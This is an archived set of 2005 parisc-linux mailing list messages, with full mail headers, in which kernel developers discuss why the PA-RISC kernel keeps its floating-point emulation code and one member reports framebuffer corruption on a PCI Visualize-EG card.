Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17914-06; Fri, 14 Jan 2005 09:03:42 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3AE293BE6A; Fri, 14 Jan 2005 09:03:26 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 390F93BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 09:03:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17914-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 09:03:19 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 21D343BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 09:03:19 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CpTuE-0004ZH-00; Fri, 14 Jan 2005 11:02:34 -0500
Content-Disposition: inline
In-Reply-To: <20050114124102.GE30982@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (90% Sync Ratio [=========.])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22292

> > So do we need the emaulation code in our kernel?
> 
> The emulation code also handles conditions that are not implemented by the
> hardware.  I forget what they are exactly; some of the 128-bit wide FP
> ops and some operations involving denormalised or infinite numbers.

Doesn't it also happen to handle cases where the operands are not
aligned properly?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fpu emulation: another stupid question
Date: Fri, 14 Jan 2005 16:04:08 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <20050114160408.GK30982@parcelfarce.linux.theplanet.co.uk>
References: <41DE4A3A0000261D@mail-1-bnl.tiscali.it>
	<20050114124102.GE30982@parcelfarce.linux.theplanet.co.uk>
	<20050114160233.GQ1281@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623652 12565 80.91.229.3 (22 Nov 2014 02:34:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 Matthew Wilcox <matthew@wil.cx>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 14 Jan 2005 16:04:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 14 Jan 2005 17:04:27 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 90F9F3BE6A; Fri, 14 Jan 2005 09:04:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18140-02; Fri, 14 Jan 2005 09:04:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E7C0A3BE75; Fri, 14 Jan 2005 09:04:17 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B25FA3BE6F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 09:04:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17914-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 09:04:10 -0700 (MST)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 9D6403BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 09:04:10 -0700 (MST)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.33) id 1CpTvl-0007Qx-3f; Fri, 14 Jan 2005 16:04:09 +0000
Content-Disposition: inline
In-Reply-To: <20050114160233.GQ1281@baldric.uwo.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22293

On Fri, Jan 14, 2005 at 11:02:33AM -0500, Carlos O'Donell wrote:
> > > So do we need the emaulation code in our kernel?
> > 
> > The emulation code also handles conditions that are not implemented by the
> > hardware.  I forget what they are exactly; some of the 128-bit wide FP
> > ops and some operations involving denormalised or infinite numbers.
> 
> Doesn't it also happen to handle cases where the operands are not
> aligned properly?

I'd've thought that'd be the unaligned trap handler rather than the FP
emulation code, but you may be right -- I don't care to look too hard ;-)

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fpu emulation: another stupid question
Date: Sat, 15 Jan 2005 01:01:19 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20050115080119.GB518@colo.lackof.org>
References: <41DE4A3A0000261D@mail-1-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623652 12566 80.91.229.3 (22 Nov 2014 02:34:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2005 08:01:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx056) with SMTP; 15 Jan 2005 09:01:57 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 023373BE6A; Sat, 15 Jan 2005 01:01:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26683-02; Sat, 15 Jan 2005 01:01:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 58E033BE6D; Sat, 15 Jan 2005 01:01:25 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5F78D3BE69
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 01:01:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 26247-08 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 01:01:21 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 538ED3BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 15 Jan 2005 01:01:21 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9BB3F298066;
	Sat, 15 Jan 2005 01:01:20 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00493-06; Sat, 15 Jan 2005 01:01:20 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F2C1D298065; Sat, 15 Jan 2005 01:01:19 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <41DE4A3A0000261D@mail-1-bnl.tiscali.it>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22294

On Fri, Jan 14, 2005 at 12:40:01PM +0100, Joel Soete wrote:
> Hi all,
> 
> afaik all parisc cpu have a fpu?

No - but I think parisc-linux requires it to be present.

> So do we need the emaulation code in our kernel?

Yes. Besides previous comments, ISTR not all FPU implementations
implement all the same instructions.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fpu emulation: another stupid question
Date: Fri, 14 Jan 2005 17:11:32 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20050115011132.GB18497@tausq.org>
References: <41DE4A3A0000261D@mail-1-bnl.tiscali.it>
	<20050114124102.GE30982@parcelfarce.linux.theplanet.co.uk>
	<20050114160233.GQ1281@baldric.uwo.ca>
	<20050114160408.GK30982@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623652 12568 80.91.229.3 (22 Nov 2014 02:34:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2005 01:12:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx039) with SMTP; 15 Jan 2005 02:12:23 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9D1103BE69; Fri, 14 Jan 2005 18:12:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23309-02; Fri, 14 Jan 2005 18:12:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D9DE43BE6A; Fri, 14 Jan 2005 18:11:41 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3FBBE3BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 18:11:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19879-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 18:11:36 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 306913BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 18:11:36 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 3658747C7B; Fri, 14 Jan 2005 17:11:32 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <20050114160408.GK30982@parcelfarce.linux.theplanet.co.uk>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22295

> > Doesn't it also happen to handle cases where the operands are not
> > aligned properly?
> 
> I'd've thought that'd be the unaligned trap handler rather than the FP
> emulation code, but you may be right -- I don't care to look too hard ;-)

willy is right, the unaligned trap handler handles this case.

the fp emulation code also handles some fp format conversions. if you
look in the archives you'll find a test case that is very very slow on
pa-linux compared to hpux. it's something that should be looked into at
some point.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fpu emulation: another stupid question
Date: Fri, 14 Jan 2005 20:23:09 -0500 (EST)
Lines: 25
Approved: news@gmane.org
Message-ID: <200501150123.j0F1N95l021258@hiauly1.hia.nrc.ca>
References: <20050115011132.GB18497@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623653 12569 80.91.229.3 (22 Nov 2014 02:34:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 matthew@wil.cx
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Jan 2005 01:23:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 15 Jan 2005 02:23:37 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ED4E83BE69; Fri, 14 Jan 2005 18:23:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23292-06; Fri, 14 Jan 2005 18:23:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id B4C753BE71; Fri, 14 Jan 2005 18:23:23 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C455F3BE69
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 18:23:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23292-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 18:23:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 837ED3BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 14 Jan 2005 18:23:16 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j0F1NAD2021259; Fri, 14 Jan 2005 20:23:10 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j0F1N95l021258;
	Fri, 14 Jan 2005 20:23:09 -0500 (EST)
In-Reply-To: <20050115011132.GB18497@tausq.org> from "Randolph Chung" at Jan
	14, 2005 08:11:32 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22296

> > I'd've thought that'd be the unaligned trap handler rather than the FP
> > emulation code, but you may be right -- I don't care to look too hard ;-)
> 
> willy is right, the unaligned trap handler handles this case.
> 
> the fp emulation code also handles some fp format conversions. if you
> look in the archives you'll find a test case that is very very slow on
> pa-linux compared to hpux. it's something that should be looked into at
> some point.

There are differences between the floating point support in PA 1.x and
2.0 (e.g., 1.x doesn't have fneg and some of the conversion functions
that 2.0 implements in hardware).  If the kernel supports long doubles,
let me know.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hacking the PCI Vis-Eg to work on my c3k (corrupt
	fb?)
Date: Sun, 16 Jan 2005 18:01:02 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20050116230102.GV1281@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623653 12573 80.91.229.3 (22 Nov 2014 02:34:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:13 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2005 23:01:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 17 Jan 2005 00:01:42 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A5D843BC80; Sun, 16 Jan 2005 16:01:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16375-04; Sun, 16 Jan 2005 16:01:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9C7A73BE66; Sun, 16 Jan 2005 16:01:10 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0755F3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 16:01:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 16375-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 16:01:05 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id E3E653BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 16:01:04 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CqJOJ-0007TW-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jan 2005 18:01:03 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (90% Sync Ratio [=========.])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22297


pa,

The video corruption I'm seeing looks like this:

http://www.baldric.uwo.ca/~carlos/IMGP1025.JPG
http://www.baldric.uwo.ca/~carlos/IMGP1026.JPG
http://www.baldric.uwo.ca/~carlos/IMGP1027.JPG

Any thoughts would be helpfull :)

Helge?

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:54 2018
